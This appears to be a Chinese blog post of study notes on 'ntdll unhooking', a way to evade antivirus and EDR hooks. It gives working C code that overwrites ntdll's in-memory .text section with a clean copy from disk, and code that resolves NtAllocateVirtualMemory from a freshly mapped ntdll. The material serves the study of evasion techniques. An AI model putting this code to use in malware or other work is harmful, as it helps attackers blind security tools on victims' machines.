0%

ntdll脱钩

重载.text节对ntdll脱钩

杀软会对ntdll进入内核的函数进行挂钩,从而实现检测和阻止,但是好像很少有杀软会去ntdll进行挂钩,这里主要学习一下这种思路。将ntdll读取到内存,然后读取覆盖.text节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


void unhook(){
{
MODULEINFO mInfo = { 0 };
HANDLE hProcess = GetCurrentProcess();

//get address of ntdll in virtual memory
//获取ntdll在内存中的地址
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
GetModuleInformation(hProcess, hNtdll, &mInfo, sizeof(mInfo));
LPVOID lpNtdllbase = (LPVOID)mInfo.lpBaseOfDll;

HANDLE hNtdllfile = CreateFileA("C:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hNtdllMapping = CreateFileMapping(hNtdllfile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID lpNtdllmaping = MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0);


PIMAGE_DOS_HEADER pDosheader = (PIMAGE_DOS_HEADER)lpNtdllbase;
PIMAGE_NT_HEADERS pNtheader = (PIMAGE_NT_HEADERS)((DWORD_PTR)lpNtdllbase + pDosheader->e_lfanew);

for (WORD i = 0; i < pNtheader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pSectionheader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pNtheader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
//找到.text
if (!strcmp((char*)pSectionheader->Name, (char*)".text")) {
DWORD oldProtection = 0;

bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)lpNtdllbase + (DWORD_PTR)pSectionheader->VirtualAddress), pSectionheader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);

memcpy((LPVOID)((DWORD_PTR)lpNtdllbase + (DWORD_PTR)pSectionheader->VirtualAddress), (LPVOID)((DWORD_PTR)lpNtdllmaping + (DWORD_PTR)pSectionheader->VirtualAddress), pSectionheader->Misc.VirtualSize);

isProtected = VirtualProtect((LPVOID)((DWORD_PTR)lpNtdllbase + (DWORD_PTR)pSectionheader->VirtualAddress), pSectionheader->Misc.VirtualSize, oldProtection, NULL);
}
}

CloseHandle(hProcess);
CloseHandle(hNtdllfile);
CloseHandle(lpNtdllmaping);
//FreeLibrary(hNtdll);

//return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#include <Windows.h>
#include <stdio.h>

#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)

typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
HANDLE ProcessHandle,
PVOID* BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);

//实现GetProcessAddress 源代码在下面链接
//https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/inject/src/GetProcAddressR.c
FARPROC WINAPI GetProcAddressR(HANDLE hModule, LPCSTR lpProcName)
{
UINT_PTR uiLibraryAddress = 0;
FARPROC fpResult = NULL;

if (hModule == NULL)
return NULL;
uiLibraryAddress = (UINT_PTR)hModule;
__try
{
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiNameOrdinals = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
PIMAGE_DATA_DIRECTORY pDataDirectory = NULL;
PIMAGE_EXPORT_DIRECTORY pExportDirectory = NULL;

pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);
pDataDirectory = (PIMAGE_DATA_DIRECTORY)&pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(uiLibraryAddress + pDataDirectory->VirtualAddress);
uiAddressArray = (uiLibraryAddress + pExportDirectory->AddressOfFunctions);
uiNameArray = (uiLibraryAddress + pExportDirectory->AddressOfNames);
uiNameOrdinals = (uiLibraryAddress + pExportDirectory->AddressOfNameOrdinals);

if (((DWORD)lpProcName & 0xFFFF0000) == 0x00000000)
{
uiAddressArray += ((IMAGE_ORDINAL((DWORD)lpProcName) - pExportDirectory->Base) * sizeof(DWORD));
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
DWORD dwCounter = pExportDirectory->NumberOfNames;
while (dwCounter--)
{
char* cpExportedFunctionName = (char*)(uiLibraryAddress + DEREF_32(uiNameArray));
//
if (strcmp(cpExportedFunctionName, lpProcName) == 0)
{
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
fpResult = (FARPROC)(uiLibraryAddress + DEREF_32(uiAddressArray));
break;
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
}
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
fpResult = NULL;
}
return fpResult;
}


int main() {
//创建共享内存映射一个ntdll
//使用CreateFileA 打开文件
HANDLE hNtdllfile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
//创建共享内存的内存映射对象
HANDLE hNtdllMapping = CreateFileMapping(hNtdllfile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
//得到该内存空间的映射地址
LPVOID lpNtdllmaping = MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0);

pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddressR((HMODULE)lpNtdllmaping, "NtAllocateVirtualMemory");

int err = GetLastError();
LPVOID Address = NULL;
SIZE_T uSize = 0x1000;
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &Address, 0, &uSize, MEM_COMMIT, PAGE_READWRITE);

return 0;
};

References

https://idiotc4t.com/defense-evasion/reload-ntdll-.text-section https://idiotc4t.com/defense-evasion/load-ntdll-too

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------